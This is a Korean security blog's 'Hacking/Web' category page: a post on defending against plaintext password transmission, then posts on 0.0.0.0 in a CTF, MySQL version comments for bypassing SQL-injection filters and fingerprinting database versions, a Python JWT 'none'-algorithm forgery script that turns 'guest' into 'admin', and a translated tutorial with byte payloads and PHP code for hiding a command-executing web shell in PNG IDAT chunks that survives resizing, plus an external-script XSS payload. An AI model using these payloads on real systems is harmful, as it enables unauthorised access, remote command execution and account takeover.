반응형

로그인을 위해서 일반적으로 아이디와 패스워드를 입력한다.

이를 서버 측으로 전달하여 데이터베이스에서 검증 이후 해당 사용자로 로그인을 진행하는데 이 때, 서버 측으로 패스워드를 평문으로 전달하게 된다면 악의적인 사용자가 중간에 가로채 정보가 유출될 가능성이 존재한다.


뿐만 아니라 주소, 이메일, 전화번호 등의 개인정보들이 네트워크 상에 평문으로 노출될 가능성이 존재한다.


이에 대해서는 두가지 대응방안이 존재한다.



1. HTTPS 통신

 - HTTPS 통신을 위해서는 인증된 기관에서 발급한 SSL 인증서가 필요하다. 하지만 일반적으로 SSL 인증서는 유료이기 때문에 작은 규모의 사이트나 개인 블로그 같은 경우는 도입하지 않는 경우가 일반적이다. 

 - 하지만 유료가 아닌 무료로 SSL 인증서를 발급받아 적용이 가능한 경우도 있다.


1) 자체 발급한 인증서

 - 자체 발급한 인증서의 경우 처음 접근 시 아래와 같은 경고창이 뜨며, 계속 탐색합니다 클릭 시 웹 서비스 이용이 가능하지만 여전히 주소창에는 발간색으로 [인증서 오류]가 노출된다.

     

 

2) 인증서 기관이 무료로 배포한 인증서

 - 개인적으로 추천하는 방식으로 HTTPS 사용을 권장하기 위해 무료로 배포하는 것으로 대표적으로 Let's Encrypt가 있다.

 - Let's Encrypt의 경우 모질라와 시스코 등 다수 굵직한 기업이 후원하는 것으로 믿을만하며 대표 사이트는 다음과 같다. ( https://letsencrypt.org/ko/ )

 - 설치 과정은 이미 다수의 블로그에서 다루고 있기 때문에 패스합니다.



2. 암호화

 - 만약 서버 측 제한 혹은 환경적인 제한으로 인해 HTTPS 적용이 힘들 경우 암호화를 통해 전송되는 데이터를 노출되지 않도록 할 수 있다.

 - 비밀번호같은 경우는 일반적으로 원본 데이터가 필요하지 않으므로 현재 가장 많은 분야에서 채택하여 사용되고 있는 암호 방식인 SHA256 혹은 그 이상의 알고리즘을 이용하여 Hash한 상태로 전송할 것을 권고한다.

 - 평문 데이터가 필요한 데이터의 경우는 복호화가 가능해야 한다. 복호화가 가능한 암호화 방식으로는 대표적으로 대칭형과 비대칭형 방식으로 나뉘는데 대칭형의 경우에는 암호화한 키를 통해 복호화가 이루어지기 때문에 보안적으로 안전하지 않다고 할 수 있다. 이에 따라 비대칭형 방식으로 암호화하기를 추천하며 대표적인 비대칭형 암호시스템으로는 RSA가 있다.

 - 다수의 고객사가 JSP로 이루어진 만큼 JAVA 기반으로 RSA 암호화를 적용하는 방법을 알아보았는데 개인적으로 권남님의 블로그(http://kwon37xi.egloos.com/4427199)가 잘 정리되어 있다고 생각한다.



 개인적으로 알아보며 정리한 것이니 잘못된 점이 있다면 댓글로 알려주시면 바로 확인하여 수정하도록 하겠습니다.


-----------------------------------------

※ 참고

- 암호화 알고리즘 : https://naleejang.tistory.com/218

반응형

'Hacking > Web' 카테고리의 다른 글

Sqlite Sql Injection Prevention  (0) 2019.12.30
HTTP 인증 우회  (0) 2019.12.16
0.0.0.0 의 의미  (0) 2019.11.20
Mysql Special Comment  (0) 2019.11.20
JWT algorithm modify code  (0) 2019.11.19
블로그 이미지

rootable

,

0.0.0.0 의 의미

Hacking/Web 2019. 11. 20. 15:09
반응형

 

나는 HackCTF의 LOL 문제(https://rootable.tistory.com/entry/HackCTF-LOL)를 풀고  정확히 0.0.0.0이 무엇을 의미하는지 찾아보았다.

 

기존에 내가 알고 있던 0.0.0.0의 의미는 '모든 IP를 의미한다' 정도로만 알고 있었는데 왜 서버 측에서 0.0.0.0으로 접근하는데 local의 웹 서버로 접근이 되는지 이해가 되지 않았기 때문이다.

 

내가 참고한 글은 아래의 글이다.

https://www.howtogeek.com/225487/what-is-the-difference-between-127.0.0.1-and-0.0.0.0/

 

해당 글을 보면 다음과 같은 문구가 나온다.

 

In the context of servers, 0.0.0.0 means all IPv4 addresses on the local machine. If a host has two IP addresses, 192.168.1.1 and 10.1.2.1, and a server running on the host listens on 0.0.0.0, it will be reachable at both of those IPs

 

이 문구를 보면, 0.0.0.0은 local machine의 모든 IPv4 address를 의미하기 때문에 0.0.0.0로 접근하면 로컬 호스트의 모든 IPv4로 되어있는 호스트에 접근이 가능하다는 의미이다.

 

조금 더 설명을 붙이자면, 정확한 address가 할당되어 있지 않다면, 각각의 host는 그 address를 자신이라고 주장하게 되고 이에 따라 웹 서비스에서 0.0.0.0을 지정하면 자신의 IP를 그 address로 지정하게 되어 local로 접근이 되는 것이다.

 

그렇기 때문에 해당 문제에서 내가 0.0.0.0으로 요청을 하였을 때 해당 서버는 0.0.0.0를 자신의 IP로 변경하여 요청을 하였고 이에 따라 로컬로 인식되어 flag.php에 접근이 된 것이다.

 

자세한 내용을 보고 싶은 분들은 참고한 글을 정독하길 바란다.

 

반응형

'Hacking > Web' 카테고리의 다른 글

HTTP 인증 우회  (0) 2019.12.16
데이터 평문전송 대응방안  (2) 2019.12.06
Mysql Special Comment  (0) 2019.11.20
JWT algorithm modify code  (0) 2019.11.19
Webtob + Jeus 설정파일 리스트  (0) 2019.11.01
블로그 이미지

rootable

,

Mysql Special Comment

Hacking/Web 2019. 11. 20. 10:10
반응형

Mysql에는 특별한 주석이 존재한다.


그것은 바로 버전 별로 주석이 동작하는 /*! */ 형태이다.


아래 몇가지 형태를 보자.


현재 쿼리를 실행하는 버전은 5.7.12 버전이다.


1) select * from test2 from id=1 or id=2

 - 해당 쿼리를 통해 test2 테이블에 id가 1인 데이터와 2인 데이터가 존재함을 확인


2) select * from test2 from id=1 /*! or id=2*/

 - 이 경우 MySQL의 버전에 상관없이 항상 /!* */ 부분의 쿼리가 실행된다.

 - 만약 필터링이 union select와 같이 연결하여 설정되어 있을 경우 union/*!select*/으로 우회가 가능하다.


3) select * from test2 from id=1 /*!50000 or id=2*/

 - 이 경우 MySQL 버전이 5 이하 경우에만 주석이 실행된다. 현재 쿼리를 실행한 Mysql은 5.7.12버전이기 때문에 주석이 실행되지 않아 id=2인 데이터까지 출력이 된다.

 -현재 버전이 5. /*!60000 */로 변경할 경우 쿼리를 실행한 버전이 5.X이기 떄문에 6 이하이기 때문에 해당 주석이 실행되어 id=1인 데이터만 출력이 된다.

 - 결론 : /*![버전] */ 일 때 해당 데이터베이스가 해당 버전 이하일 경우에만 주석처리가 된다!

       


4) select /*!50000 1/0, */1 from test2

 - 해당 경우 실제 웹 어플리케이션에서 조회하는 부분에 이용할 수 있는 쿼리이다.

 - 좌측의 쿼리는 버전이 5.0 이하가 아니기 때문에 주석이 실행되지 않아 NULL이 출력되며, 우측의 쿼리는 버전이 6.0 이하이기 때문에 주석이 실행되어 정상적으로 1만 출력됨을 볼 수 있다.


- 이를 조금 더 나아가면 50000 부분을 조금씩 수정해가며 응답을 봐서 데이터베이스의 정확한 버전정보를 알 수 있다. 아래 쿼리들 처럼 정확히 현재 DB의 버전이 5.07.12임을 확인할 수 있다.


       






반응형

'Hacking > Web' 카테고리의 다른 글

데이터 평문전송 대응방안  (2) 2019.12.06
0.0.0.0 의 의미  (0) 2019.11.20
JWT algorithm modify code  (0) 2019.11.19
Webtob + Jeus 설정파일 리스트  (0) 2019.11.01
Subquery를 이용한 Error based Injection  (0) 2019.10.10
블로그 이미지

rootable

,
반응형

아래는 JWT 에서 algorithm을 none으로 수정하는 코드이다.

자세한 코드에 대한 설명은 생략한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"
header, payload, signature  = jwt.split('.')
 
print("header decode : "+header.decode('base64'))
print("payload decode : "+(payload+"==").decode('base64')+'\n')
 
# Replacing the ALGO and the payload username
header  = header.decode('base64').replace('HS512',"none")
payload = (payload+"==").decode('base64').replace('guest','admin')
 
header  = header.encode('base64').strip().replace("=","")
payload = payload.encode('base64').strip().replace("=","")
 
# 'The algorithm 'none' is not supported'
print( header+"."+payload+".")
 
cs



 - jwt 모듈이 있다면 간단하게 jwt.encode(payload,key,algorithm)으로 할 수 있다.

 ex) jwt.encode({'user':'rootable','role':'admin'},'',algorithm="none")


참고) https://github.com/sobinge/PayloadsAllThesobinge/tree/master/JSON%20Web%20Token

반응형

'Hacking > Web' 카테고리의 다른 글

0.0.0.0 의 의미  (0) 2019.11.20
Mysql Special Comment  (0) 2019.11.20
Webtob + Jeus 설정파일 리스트  (0) 2019.11.01
Subquery를 이용한 Error based Injection  (0) 2019.10.10
웹서버 루트디렉토리 경로 찾기  (0) 2019.09.27
블로그 이미지

rootable

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형
1. 아파치의 웹서버 설정파일
 - 경로 : /etc/apache2/apache2.conf
 - 확인 : <Directory [경로]/>

2. 아파치의 사이트 설정파일

 - 경로 : /etc/apache2/sites-available/000-default.conf

 - 확인 : DocumentRoot

반응형

'Hacking > Web' 카테고리의 다른 글

Webtob + Jeus 설정파일 리스트  (0) 2019.11.01
Subquery를 이용한 Error based Injection  (0) 2019.10.10
[번역] Encoding Web Shells in PNG IDAT chunks  (0) 2019.09.25
XXE Injection  (0) 2019.08.31
SSTI in Smarty  (0) 2019.08.31
블로그 이미지

rootable

,
반응형

아래는 PNG 파일 포맷을 이용하여 웹쉘을 삽입하는 내용에 대한 글이다.영어로 되어있길래 잘 이해가 되지 않아 번역을 하며 자세히 알아보았다.


국내의 보안인들에게 도움이 되었으면 한다.(오역이 있을 수 있습니다.)

출처 : https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/




만약 너가 이미지 안에 웹쉘을 신중하게 넣는다면, 너는 서버 측 필터를 우회할 수 있고 쉘을 구체화할 수 있을 것이다(그리고 나는 주석이나 metadata에 인코딩된 데이터를 넣는것에 대해 말하는 것이 아니다) - 해당 포스트는 당신에게 오직 GD만을 이용하여 PNG IDAT chunks 에 PHP 쉘을 작성할 수 있다는 것을 보여줄 것이다.

만약 너가 파일 시스템에 코드를 작성할 수 없다면 서버의 미흡한 설정 혹은 Local File Inclusion을 exploit 하는 것은 곤란할 수 있다. - 이미지 업로드를 허용하는 과거의 어플리케이션은 metadate나 변조된 이미지를 통해 코드를 서버에 업로드하는 제한된 방법을 제공했다. 그러나 꽤 종종 이미지들은 크기가 조정되거나 회전되거나 메타 데이터가 제거되거나 다른 파일 형식으로 인코딩되어 웹쉘 페이로드가 효과적으로 제거된다. 


PNG 파일 형식 기초

PNG 파일 포맷(우리는 인덱싱된 것이 아니라 true-color PNG 파일에 초점을 둘 것이다)에서 IDAT chunk는 픽셀 정보를 저장한다. 우리가 PHP 쉘을 저장할 곳은 이 chunk이다. 이제 우리는 픽셀이 항상 RGB color 채널을 나타내는 3 byte로 저장된다고 가정하자.


raw 이미지가 PNG로 저장이 될 때, 이미지의 각 행은 각 바이트 단위로 필터링되고 행은 사용된 필터 유형을 나타내는 번호(0x01 ~ 0x05)가 접두사로 붙으며, 다른 행은 다른 필터를 사용할 수 있다. 이렇게 하는 이유는 압축 비율을 향상시키기 위함이다. 모든 행이 필터링되면 그것들은 IDAT chunk를 형성하기 위해 모두 DEFLATE 알고리즘으로 압축된다.



그래서 만약 우리가 데이터를 raw 이미지로 입력하고 쉘로 저장하려면 우리는 PNG 라인 필터와 DEFLATE 알고리즘을 둘다 무산시킬 필요가 있다. 거꾸로 작업하는 것이 더 쉬우므로 우리는 DELFATE 부터 시작할 것이다.


Step 1. 쉘을 형성하기 위해 문자열 압축하기

쉘을 형성하기 위해서는 압축하는 문자열을 설계하는 것이 이상적이다. 이는 생각하는 것만큼 어렵지는 않지만 분명히 문자열에는 반복되는 코드 블록이 포함될 수 없다(또는 압축될 것이다). 사실, 쉘이 압축되는 것으로부터 막기 위해서는 길이가 2글자 이상 반복되는 부분 문자열이 없도록 설계해야 한다. 이것은 우리가 문자열을 짧게 유지해야한다는 것을 의미한다 :

<?=`$_GET[0]`;?>

이렇게 간단하다면 얼마나 좋을까 :) 안타깝게도, 만약 너가 위의 문자열을 DEFLATE로 실행하면 많은 쓰레기가 나오게 되는데, 그 문자열은 압축되지 않았지만 DEFLATE 결과는 byte boundary에서 시작하지 않고 MSB가 아닌 LSB를 사용하여 인코딩된다. 자세히 말하지는 않겠지만 당신은 Pograph의 weblog에서 더 많은 것을 읽을 수 있다.


인코딩하기 가장 쉬운 쉘은 상위 케이스에 있다 :

<?=$_GET[0]($_POST[1]);?>

당신은 $_GET[0]을 shell_exec로 지정하고 $_POST[1] 파라미터에 실행하기 위한 쉘 명령어를 전달함으로써 사용할 수 있다.


나는 위의 문장을 DEFLATES 포맷으로 문자열을 설계했으며, 이 문자열의 이점은 페이로드의 첫번째 바이트가 0x00에서 0x04까지 변경될 수 있고 압축된 문자열도 여전히 읽을 수 있다는 것이다. - 이것은 다음 단계에서 마주할 PNG 필터를 회피하는데 중요하다.

03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310

안타깝게도 PNG 라이브러리가 이미지 행을 먼저 필터링하고 DEFLATE를 적용하기 때문에 이것을 초기 원시 이미지에 포함시키고 IDAT chunk에 포함시킬 수는 없다.


Step 2. PNG 라인 필터 우회

5가지 종류의 필터가 있으며 PNG encoder가 각 라인에 사용할 필터를 결정한다. 이제 문제는 필터로 전달될 때 1단계의 문자열이 생성되는 문자열을 구성해야 한다는 것이다. 


이미지에 오직 1행의 payload만 포함되어있는 한 (이미지의 나머지 부분은 검은 색과 같이 일정한 색상이어야 함) 당신이 마주치는 두 필터는 1과 3일 것이며, 만약 이미지의 왼쪽 상단에 페이로드가 남아있는 경우 그것을 더욱 단순화하기 위해 우리는 다음과 같이 두 필터의 역순을 쓸 수 있다.

// Reverse Filter 1
for ($i = 0; $i < $s; $i++)
   $p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
// Reverse Filter 3 
for ($i = 0; $i < $s; $i++)
   $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;

만약 필터 3만 사용하여 payload를 인코딩하면 PNG 인코더는 필터 1을 사용하려 인코딩하려할 것이고, 필터 1을 사용하여 인코딩하려하면 PNG 인코더는 필터0을 사용하려 할 것이다 - 결국 당신은 루프에 빠지게 된다.


PNG 인코더가 선택하는 필터를 컨트롤하기 위해 필터 3과 필터 1의 역으로 2단계에서 쉘을 인코딩하고 이를 연결하여 인코더가 payload에 대해 필터 3을 선택하도록 하며 원시 이미지의 데이터가 2단계에서 코드로 변환되도록 한다. 이 코드는 IDAT chunk에 저장된 웹 쉘로 압축된다.


이 방법을 사용하면 아래의 payload가 생성된다. - 필터 3은 녹색, 필터 1은 회색이다.

아러니하게 필터를 사용하면 실제로 페이로드가 더 커진다.

0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33


Step 3. Raw Image 구성하기

GD가 PNG 파일로 인코딩할 raw image를 구성할 때 이미지의 첫번째 행에 payload를 배치하는 것은 중요하다. 이 시점에서 위에서 제공한 페이로드는 작은 이미지(최대 ~40px by ~ 40px) 에서만 작동하지만 더 큰 이미지에 대해서도 payload를 구성할 수 있다.


페이로드는 다음과 같이 RGB byte 시퀀스로 인코딩되어야 한다:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img);

이미지가 구성되면 검은 배경의 왼쪽 상단 모서리에 픽셀 문자열이 나타난다.

String of Pixels

이미지를 hex editor로 볼 때 쉘을 볼 수 있어야 한다:

Hexdump of PNG

만약 검은색이 아닌 배경을 원한다면 데이터 내의 바이트(픽셀이 아님)가 이미지의 나머지 부분에 나타나지 않는 한 배경을 데이터로 채우는 것은 가능하다. IDAT block이 압축될 때 paylod가 파괴될 수 있다 - 또한 인코더에 의해 다른 필터가 배치될 수도 있다.


Step 4. 이미지 변환 우회

IDAT chunk 에 웹쉘을 넣는 주된 이유는 리사이즈와 리샘플링 작업을 우회할 수 있기 때문이다. - PHP-GD는 이 imagecopyresizedimagecopyresampled를 수행하는 두 함수를 포함하고 있다.


Imagecopyresampled는 픽셀 그룹에서 평균 픽셀 값을 가져와 이미지를 변환하는데 이것을 우회하기 위해서는 payload를 일련의 직사각형 혹은 정사각형으로 인코딩해야 한다. 반면에 Imagecopyresized는 몇 픽셀마다 샘플링하여 이미지를 변환하므로 이 기능을 우회하기 위해서는 실제로 몇 픽셀만 변경하면 된다.

왼쪽에 있는 이미지는 imagecopyresize를 사용하여 32x32로 리사이즈할 때와 오른쪽에 있는 이미지를 imagecopyresample을 사용하여 32x32로 리샘플링할 때 둘 다 웹쉘을 나타낸다.



몇 가지 결론


IDAT chunk에 쉘을 배치하는 것은 몇 가지 큰 이점이 있으며 어플리케이션이 업로드된 이미지를 resize 혹은 re-encode 하는 대부분의 데이터 유효성 검사 기술을 우회해야 한다. 최종이미지가 PNG로 저장되는 한 당신은 위의 페이로드를 GIF나 JPEG로도 업로드할 수 있다.


쉘을 더욱 효과적으로 숨기고 업로드된 이미지에서 쉘을 찾는데 더 짧도록 사용할 수 있는 더 나은 기법이 있을 수 있으며, 아마도 그것을 막아야 하는 개발자로서 할 수 있는 것은 많지 않을 것이다.


JPEG와 같이 손실이 많은 형식으로 쉘을 인코딩하는 것은 상당히 어려울 수 있다 - 그러나 불가능하지는 않을 것이다.



업데이트 : 2015년 7월


만약 사용자가 제공하는 PNG 파일을 포함하는 http 응답의 content-type 필드를 제어할 수 있다면 다음의 payload가 유용할 수 있다. 다음의 스크립트 태그를 IDAT chunk로 인코딩한다 :


<ScRiPT sRC=//XQI.CC></SCrIpt>


참조하는 스크립트는 custom payload를 삽입할 수 있는 GET 파라미터 zz의 내용을 실행한다. 그것은 당신의 target origin에 효과적으로 reflected XSS 엔드 포인트를 제공한다.


http://example.org/images/test.png?zz=alert("this is xss :(");


Related work


GD 라이브러리 함수를 우회하는 이미지에서 쉘을 인코딩하는데에 대한 다른 훌륭한 작업이 있었다.


 * "<?=System($_GET[C]);?>"를 imagecreatefromjpeg에서 살아남은 JPEG파일로 인코딩하는데 성공한 이미지 (오류가 발생하지만 GD로 복구됨)

 *인코딩 전략이 약간 다른 GIF; payload는 이미지 본문이 아닌 GIF 헤더에 인코딩된다.


PNG 다운로드 XSS Payload | PHP Payload




참고 )

 - PNG 파일구조 : https://ryanking13.github.io/2018/03/24/png-structure.html

활용)

 - https://nytr0gen.github.io/writeups/ctf/2019/09/09/defcamp-ctf-quals-2019.html#imgur-202p-web

반응형

'Hacking > Web' 카테고리의 다른 글

Subquery를 이용한 Error based Injection  (0) 2019.10.10
웹서버 루트디렉토리 경로 찾기  (0) 2019.09.27
XXE Injection  (0) 2019.08.31
SSTI in Smarty  (0) 2019.08.31
Time Based SQLI payload  (0) 2019.08.30
블로그 이미지

rootable

,